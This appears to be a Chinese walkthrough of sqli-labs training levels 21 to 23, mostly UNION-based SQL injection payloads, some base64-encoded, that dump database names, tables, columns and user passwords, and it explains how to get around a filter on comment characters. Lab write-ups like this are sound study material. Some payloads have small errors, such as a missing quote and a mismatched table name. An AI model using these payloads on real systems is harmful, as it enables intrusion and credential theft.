base64: RHVtcCcpIHVuaW9uIHNlbGVjdCAxLDIsZGF0YWJhc2UoKSM=
爆表
uname=1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=security'#
base64: RHVtYicpIHVuaW9uIHNlbGVjdCAxLDIsZ3JvdXBfY29uY2F0KHRhYmxlX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWE9c2VjdXJpdHknIw==
爆列
uname = 1') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'#
base64: MScpIHVuaW9uIHNlbGVjdCAxLDIsZ3JvdXBfY29uY2F0KGNvbHVtbl9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX3NjaGVtYT0nc2VjdXJpdHknIGFuZCB0YWJsZV9uYW1lPSd1c2Vycycj
爆内容
uname=1') union select 1,2,group_concat(concat_ws('-',id,username,password)) from user#
base64: MScpIHVuaW9uIHNlbGVjdCAxLDIsZ3JvdXBfY29uY2F0KGNvbmNhdF93cygnLScsaWQsdXNlcm5hbWUscGFzc3dvcmQpKSBmcm9tIHVzZXJzIw==
uname=1"
双引号闭合,其他和Less-21一样。
作者:Hyafinthus
链接:https://www.jianshu.com/p/2602430f8ee4
id=1'
可以看出是单引号闭合的查询,这里报错还把站点路径爆出来了。
看了看源码,发现有preg_replace()
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
preg_replace(pattern,replacement,subject[,limit=-1[,&count]])
preg_replace()
函数执行一个正则表达式的搜索和替换,搜索subject
中匹配pattern
的部分, 以replacement
进行替换。
如果subject
是一个数组,preg_replace()
返回一个数组,其他情况下返回一个字符串。
如果匹配被查找到,替换后的subject
被返回,其他情况下返回没有改变的subject
。如果发生错误,返回NULL
。
在这关中,也只是将#
和--
替换成了空字符
。
判断字段数时问题来了:尝试两种注释方式发现报错回显中LIMIT
语句仍在起作用,注释没有起作用,即使把#
URL编码为%23
仍被过滤。
这时就要分析 SQL 语句找到绕过注入的方式,后台的查询语句是这样的:
SELECT * FROM table_name WHERE id='$id' LIMIT 0,1
注入点在id
处,我们要判断字段数用的是order by
子句,同时闭合第二个单引号:
SELECT * FROM table_name WHERE id=1’ order by 4 and ‘1’='1 LIMIT 0,1
本意是能从报错信息判断查询返回表共有几个字段,但是回显很正常:
这是因为:
where
与order by
是子句,and
是操作符,用于where
子句。
在MySQL的执行顺序中,where
是远在order by
前面的。在第一个查询语句中,
id='1' and '1'='1'
作为where
的条件,先被执行,得到结果集;然后是order by
,因结果集中无第四个字段所以报错。在第二个查询语句中,
order by
在where
的条件中,在where
执行时被忽略了,结果集生成后并未再执行order by
。
所以这关不能用order by
来判断字段数,而要用union
:
SELECT * FROM table_name WHERE id=‘1’ union select 1,2,3,4 or ‘1’='1’ LIMIT 0,1
这里的or
作为了联合查询第二个语句的条件而不是第一个语句where
的条件。
?id=1' union select 1,2,3,4 or '1'='1
当select
加到4
时报错,得出共3
个字段。
注入时闭合查询语句即绕过过滤如下:
SELECT * FROM table_name WHERE id=’-1’ union [select c_1,c_2,(c_3] or ‘1’='1’) LIMIT 0,1
这里id
等于-1
在 Less 1 中解释过,使原查询左边为空,使我们定义的查询结果返回。
**注意:**这里的or '1'='1'
是作为column_3
的操作符,因其为永真条件,在column_3
回显处会显示1
,所以不能在column_3
处注入。
?id=-1' union select 2,3,4 or '1'='1
回显如下
所以唯一的回显字段便是username
即column_2
,这也是唯一的注入点。
爆库
?id=-1' union select 1,database(),3 or '1'='1
爆表
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 or '1'='1
爆列
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3 or '1'='1
爆内容
?id=-1' union select 1,(select group_concat(concat_ws('-',id,username,password)) from users),3 or '1'='1